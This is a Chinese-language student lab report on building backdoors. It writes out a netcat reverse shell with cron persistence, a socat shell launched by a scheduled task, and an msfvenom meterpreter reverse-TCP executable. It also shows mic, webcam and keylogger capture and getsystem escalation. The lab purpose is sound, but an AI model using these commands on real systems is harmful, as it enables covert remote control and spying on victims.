20164301 Exp2 后门原理与实践
Exp2 后门原理与实践
1.实验内容
(1)使用netcat获取主机操作Shell,cron启动
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
2.基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
通过U盘传输文件时,打开的文件里面可能含有后门。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- 通过crontab命令,修改编辑器内容,定时启动后门
- 用任务计划程序启动后门,开机启动
- 点击被后门捆绑的软件
(3)Meterpreter有哪些给你映像深刻的功能?
通过help命令发现有各种类型的指令,功能强大,能被控制的东西太多
(4)如何发现自己有系统有没有被安装后门?
安装杀毒软件,定期对电脑进行体检和木马查杀。
3.实验过程
一、使用netcat获取主机操作Shell,cron启动
Win获得Linux Shell
(1)用ipconfig命令,查找windows的ip地址
(2)在安装有ncat.exe的目录下,输入ncat.exe -l -p 4301,打开监听,监听端口为4301
(3)在linux中输入nc 172.30.4.182 4301 -e /bin/sh,Linux反弹连接win,这里用win的ip地址
(4)windows下获得一个linux shell,可运行任何指令,如ls
通过crontab命令,定时启动任务
(1)打开监听之后,在linux中输入crontab -e,打开编辑器
crontab -e:编辑某个用户的crontab文件内容。如果不指定用户,则表示编辑当前用户的crontab文件。
在最后一行加上41 * * * * /bin/netcat 172.30.4.182 4301 -e /bin/sh
在编辑器中输入d开始插入,输入命令行后,按esc键退出插入,再输入:wq保存退出。
(2)等时间到了第41分钟,连接Windows,获得shell
二、使用socat获取主机操作Shell, 任务计划启动
(1)打开任务计划程序
(2)新建任务,设置名称
(3)编辑触发器,选择工作站锁定时
(4)新建操作,程序或脚本选择socat存在的目录
参数填入tcp-listen:4301 exec:cmd.exe,pty,stderr即cmd连接到4301端口,stderr重定向
(5)运行,win+l锁定用户后,重新开机,弹出taskeng.exe,开始运行
(6)在linux中,输入socat - tcp:172.30.4.182:4301,socat获取主机操作Shell
三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。
(1)在Linux中通过ifconfig指令查询linux的ip地址。
(2)再输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.132.128 LPORT=4301 -f exe > 20164301_backdoor.exe
表示linux反弹回连4301端口,把shellcode输出到20164301_backdoor.exe这个文件
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件
(3)生成文件通过ncat传送到主机
先在windows的ncat目录中输入ncat.exe -l 4301 > 20164301_backdoor.exe
再在linux中输入nc 172.30.4.182 < 20164301_backdoor.exe
ncat目录下出现20164301_backdoor.exe,成功复制到win
(4)输入msfconsole命令,进入控制台。
(5)
输入use exploit/multi/handler(打开handler进行设置)
输入set payload windows/meterpreter/reverse_tcp(设置与20164301_backdoor.exe相同的payload)
输入set LHOST 192.168.132.128(设置反弹回连linux的IP地址)
输入set LPORT 4301(设置端口号4301)
输入exploit(开始监听)
(6)点击ncat目录中的文件20164301_backdoor.exe后,Linux平台的监听进程将获得Win主机的主动连接,并得到远程控制shell
四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(1)直接通过help查看全部指令
(2)获取目标主机音频、摄像头等内容的指令
record_mic获取音频,webcam_snap通过摄像头拍照。
截取的音频和照片存放在主目录中
(3)击键记录
keyscan_start开始截取击键记录,keyscan_dump显示击键记录
在windows的cmd中进行如下操作,全部能反应在上图meterpreter的击键记录中
(4)提权
- 有的时候,你可能会发现自己的Meterpreter会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。
比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个“getsystem”
命令,它可以使用多种技术在目标系统中实现提权。
发现通过getsystem (Attempt to elevate your privilege to that of local system.)进行提权
下图无法提权,需要以管理员身份打开生成的后门,才能进行提权。
4.实验总结与体会
通过本次实验,让我提高了安全意识,掌握了基本的建立后门的方法,使用ncat实现win,Linux间的后门连接以及meterpreter的
应用。同时让我认识到建立一个后门连接的简单以及功能的强大,以至于开始担心自己电脑是否已经被植入后门。
在实验过程中发生了很多问题,有些步骤无法看懂,因此花费了很长时间才截图做完。此次实验不仅让我发现了Linux基础还不够
扎实,也了我动手能力的不足,自身还需不断学习调整。